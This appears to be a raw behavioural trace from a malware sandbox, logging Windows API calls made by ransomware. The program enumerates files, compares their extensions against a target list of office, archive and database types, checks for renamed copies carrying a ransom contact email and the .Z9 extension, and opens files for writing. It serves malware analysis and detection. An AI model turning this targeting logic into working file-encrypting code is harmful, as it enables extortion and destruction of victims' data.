	[0089.894] lstrlenW (lpString=".pdf") returned 4
	[0089.894] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0089.894] lstrlenW (lpString=".xls") returned 4
	[0089.894] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0089.894] lstrlenW (lpString=".xlsx") returned 5
	[0089.894] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0089.894] lstrlenW (lpString=".ppt") returned 4
	[0089.894] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0089.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70
	[0089.894] lstrlenW (lpString=".zip") returned 4
	[0089.894] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0089.894] lstrlenW (lpString=".rar") returned 4
	[0089.894] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0089.895] lstrlenW (lpString=".bz2") returned 4
	[0089.895] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0089.895] lstrlenW (lpString=".7z") returned 3
	[0089.895] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0089.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70
	[0089.895] lstrlenW (lpString=".dbf") returned 4
	[0089.895] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0089.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70
	[0089.895] lstrlenW (lpString=".1cd") returned 4
	[0089.895] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0089.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70
	[0089.895] lstrlenW (lpString=".jpg") returned 4
	[0089.895] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0089.895] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0089.895] lstrlenW (lpString="vcruntime140.dll") returned 16
	[0089.895] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0089.895] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=88752) returned 1
	[0089.895] CloseHandle (hObject=0x394) returned 1
	[0089.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll")) returned 0x20
	[0089.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0089.896] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0089.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74
	[0089.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74
	[0089.896] lstrlenW (lpString=".doc") returned 4
	[0089.896] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0089.896] lstrlenW (lpString=".docx") returned 5
	[0089.896] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0089.896] lstrlenW (lpString=".pdf") returned 4
	[0089.896] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0089.896] lstrlenW (lpString=".xls") returned 4
	[0089.896] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0089.896] lstrlenW (lpString=".xlsx") returned 5
	[0089.897] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0089.897] lstrlenW (lpString=".ppt") returned 4
	[0089.897] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0089.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74
	[0089.897] lstrlenW (lpString=".zip") returned 4
	[0089.897] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0089.897] lstrlenW (lpString=".rar") returned 4
	[0089.897] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0089.897] lstrlenW (lpString=".bz2") returned 4
	[0089.897] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0089.897] lstrlenW (lpString=".7z") returned 3
	[0089.897] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0089.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74
	[0089.897] lstrlenW (lpString=".dbf") returned 4
	[0089.897] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0089.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74
	[0089.897] lstrlenW (lpString=".1cd") returned 4
	[0089.897] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0089.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74
	[0089.897] lstrlenW (lpString=".jpg") returned 4
	[0089.897] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0089.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74
	[0089.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74
	[0089.897] lstrlenW (lpString=".doc") returned 4
	[0089.897] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0089.897] lstrlenW (lpString=".docx") returned 5
	[0089.898] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0089.898] lstrlenW (lpString=".pdf") returned 4
	[0089.898] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0089.898] lstrlenW (lpString=".xls") returned 4
	[0089.898] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0089.898] lstrlenW (lpString=".xlsx") returned 5
	[0089.898] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0089.898] lstrlenW (lpString=".ppt") returned 4
	[0089.898] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0089.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74
	[0089.898] lstrlenW (lpString=".zip") returned 4
	[0089.898] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0089.898] lstrlenW (lpString=".rar") returned 4
	[0089.898] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0089.898] lstrlenW (lpString=".bz2") returned 4
	[0089.898] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0089.898] lstrlenW (lpString=".7z") returned 3
	[0089.898] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0089.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74
	[0089.898] lstrlenW (lpString=".dbf") returned 4
	[0089.898] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0089.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74
	[0089.898] lstrlenW (lpString=".1cd") returned 4
	[0089.898] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0089.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74
	[0089.898] lstrlenW (lpString=".jpg") returned 4
	[0089.898] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0089.898] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0089.898] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0089.898] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0089.899] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=10752) returned 1
	[0089.899] CloseHandle (hObject=0x394) returned 1
	[0089.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui")) returned 0x20
	[0089.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0089.900] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0089.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72
	[0089.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72
	[0089.900] lstrlenW (lpString=".doc") returned 4
	[0089.900] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0089.900] lstrlenW (lpString=".docx") returned 5
	[0089.900] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0089.900] lstrlenW (lpString=".pdf") returned 4
	[0089.900] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0089.900] lstrlenW (lpString=".xls") returned 4
	[0089.900] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0089.900] lstrlenW (lpString=".xlsx") returned 5
	[0089.900] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0089.900] lstrlenW (lpString=".ppt") returned 4
	[0089.900] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0089.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72
	[0089.900] lstrlenW (lpString=".zip") returned 4
	[0089.900] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0089.900] lstrlenW (lpString=".rar") returned 4
	[0089.900] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0089.900] lstrlenW (lpString=".bz2") returned 4
	[0089.900] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0089.900] lstrlenW (lpString=".7z") returned 3
	[0089.900] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0089.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72
	[0089.901] lstrlenW (lpString=".dbf") returned 4
	[0089.901] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0089.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72
	[0089.901] lstrlenW (lpString=".1cd") returned 4
	[0089.901] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0089.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72
	[0089.901] lstrlenW (lpString=".jpg") returned 4
	[0089.901] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0089.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72
	[0089.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72
	[0089.901] lstrlenW (lpString=".doc") returned 4
	[0089.901] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0089.901] lstrlenW (lpString=".docx") returned 5
	[0089.901] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0089.901] lstrlenW (lpString=".pdf") returned 4
	[0089.901] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0089.901] lstrlenW (lpString=".xls") returned 4
	[0089.901] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0089.901] lstrlenW (lpString=".xlsx") returned 5
	[0089.901] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0089.901] lstrlenW (lpString=".ppt") returned 4
	[0089.901] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0089.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72
	[0089.901] lstrlenW (lpString=".zip") returned 4
	[0089.901] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0089.901] lstrlenW (lpString=".rar") returned 4
	[0089.901] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0089.901] lstrlenW (lpString=".bz2") returned 4
	[0089.901] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0089.901] lstrlenW (lpString=".7z") returned 3
	[0089.901] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0089.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72
	[0089.902] lstrlenW (lpString=".dbf") returned 4
	[0089.902] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0089.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72
	[0089.902] lstrlenW (lpString=".1cd") returned 4
	[0089.902] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0089.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72
	[0089.902] lstrlenW (lpString=".jpg") returned 4
	[0089.902] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0089.902] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0089.902] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0089.902] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0089.902] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=10752) returned 1
	[0089.902] CloseHandle (hObject=0x394) returned 1
	[0089.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui")) returned 0x20
	[0089.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0089.903] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0089.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72
	[0089.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72
	[0089.903] lstrlenW (lpString=".doc") returned 4
	[0089.903] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0089.903] lstrlenW (lpString=".docx") returned 5
	[0089.903] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0089.903] lstrlenW (lpString=".pdf") returned 4
	[0089.903] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0089.903] lstrlenW (lpString=".xls") returned 4
	[0089.903] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0089.903] lstrlenW (lpString=".xlsx") returned 5
	[0089.903] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0089.903] lstrlenW (lpString=".ppt") returned 4
	[0089.903] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0089.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72
	[0089.903] lstrlenW (lpString=".zip") returned 4
	[0089.903] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0089.903] lstrlenW (lpString=".rar") returned 4
	[0089.903] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0089.903] lstrlenW (lpString=".bz2") returned 4
	[0089.903] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0089.903] lstrlenW (lpString=".7z") returned 3
	[0089.903] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0089.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72
	[0089.903] lstrlenW (lpString=".dbf") returned 4
	[0089.903] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0089.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72
	[0089.903] lstrlenW (lpString=".1cd") returned 4
	[0089.904] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0089.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72
	[0089.904] lstrlenW (lpString=".jpg") returned 4
	[0089.904] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0089.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72
	[0089.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72
	[0089.904] lstrlenW (lpString=".doc") returned 4
	[0089.904] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0089.904] lstrlenW (lpString=".docx") returned 5
	[0089.904] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0089.904] lstrlenW (lpString=".pdf") returned 4
	[0089.904] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0089.904] lstrlenW (lpString=".xls") returned 4
	[0089.904] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0089.904] lstrlenW (lpString=".xlsx") returned 5
	[0089.904] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0089.904] lstrlenW (lpString=".ppt") returned 4
	[0089.904] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0089.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72
	[0089.904] lstrlenW (lpString=".zip") returned 4
	[0089.904] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0089.904] lstrlenW (lpString=".rar") returned 4
	[0089.904] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0089.904] lstrlenW (lpString=".bz2") returned 4
	[0089.904] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0089.904] lstrlenW (lpString=".7z") returned 3
	[0089.904] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0089.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72
	[0089.904] lstrlenW (lpString=".dbf") returned 4
	[0089.904] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0089.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72
	[0089.904] lstrlenW (lpString=".1cd") returned 4
	[0089.904] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0089.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72
	[0089.905] lstrlenW (lpString=".jpg") returned 4
	[0089.905] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0089.905] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0089.905] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0089.905] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0089.905] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=9728) returned 1
	[0089.905] CloseHandle (hObject=0x394) returned 1
	[0089.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui")) returned 0x20
	[0089.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0089.905] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0089.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72
	[0089.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72
	[0089.905] lstrlenW (lpString=".doc") returned 4
	[0089.905] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0089.906] lstrlenW (lpString=".docx") returned 5
	[0089.906] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0089.906] lstrlenW (lpString=".pdf") returned 4
	[0089.906] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0089.906] lstrlenW (lpString=".xls") returned 4
	[0089.906] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0089.906] lstrlenW (lpString=".xlsx") returned 5
	[0089.906] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0089.906] lstrlenW (lpString=".ppt") returned 4
	[0089.906] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0089.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72
	[0089.906] lstrlenW (lpString=".zip") returned 4
	[0089.906] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0089.906] lstrlenW (lpString=".rar") returned 4
	[0089.906] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0089.906] lstrlenW (lpString=".bz2") returned 4
	[0089.906] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0089.906] lstrlenW (lpString=".7z") returned 3
	[0089.906] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0089.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72
	[0089.906] lstrlenW (lpString=".dbf") returned 4
	[0089.906] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0089.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72
	[0089.906] lstrlenW (lpString=".1cd") returned 4
	[0089.906] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0089.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72
	[0089.906] lstrlenW (lpString=".jpg") returned 4
	[0089.906] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0089.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72
	[0089.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72
	[0089.906] lstrlenW (lpString=".doc") returned 4
	[0089.906] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0089.906] lstrlenW (lpString=".docx") returned 5
	[0089.907] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0089.907] lstrlenW (lpString=".pdf") returned 4
	[0089.907] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0089.907] lstrlenW (lpString=".xls") returned 4
	[0089.907] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0089.907] lstrlenW (lpString=".xlsx") returned 5
	[0089.907] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0089.907] lstrlenW (lpString=".ppt") returned 4
	[0089.907] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0089.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72
	[0089.907] lstrlenW (lpString=".zip") returned 4
	[0089.907] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0089.907] lstrlenW (lpString=".rar") returned 4
	[0089.907] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0089.907] lstrlenW (lpString=".bz2") returned 4
	[0089.907] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0089.907] lstrlenW (lpString=".7z") returned 3
	[0089.907] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0089.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72
	[0089.907] lstrlenW (lpString=".dbf") returned 4
	[0089.907] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0089.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72
	[0089.907] lstrlenW (lpString=".1cd") returned 4
	[0089.907] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0089.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72
	[0089.907] lstrlenW (lpString=".jpg") returned 4
	[0089.907] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0089.907] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0089.907] lstrlenW (lpString="tipresx.dll.mui") returned 15
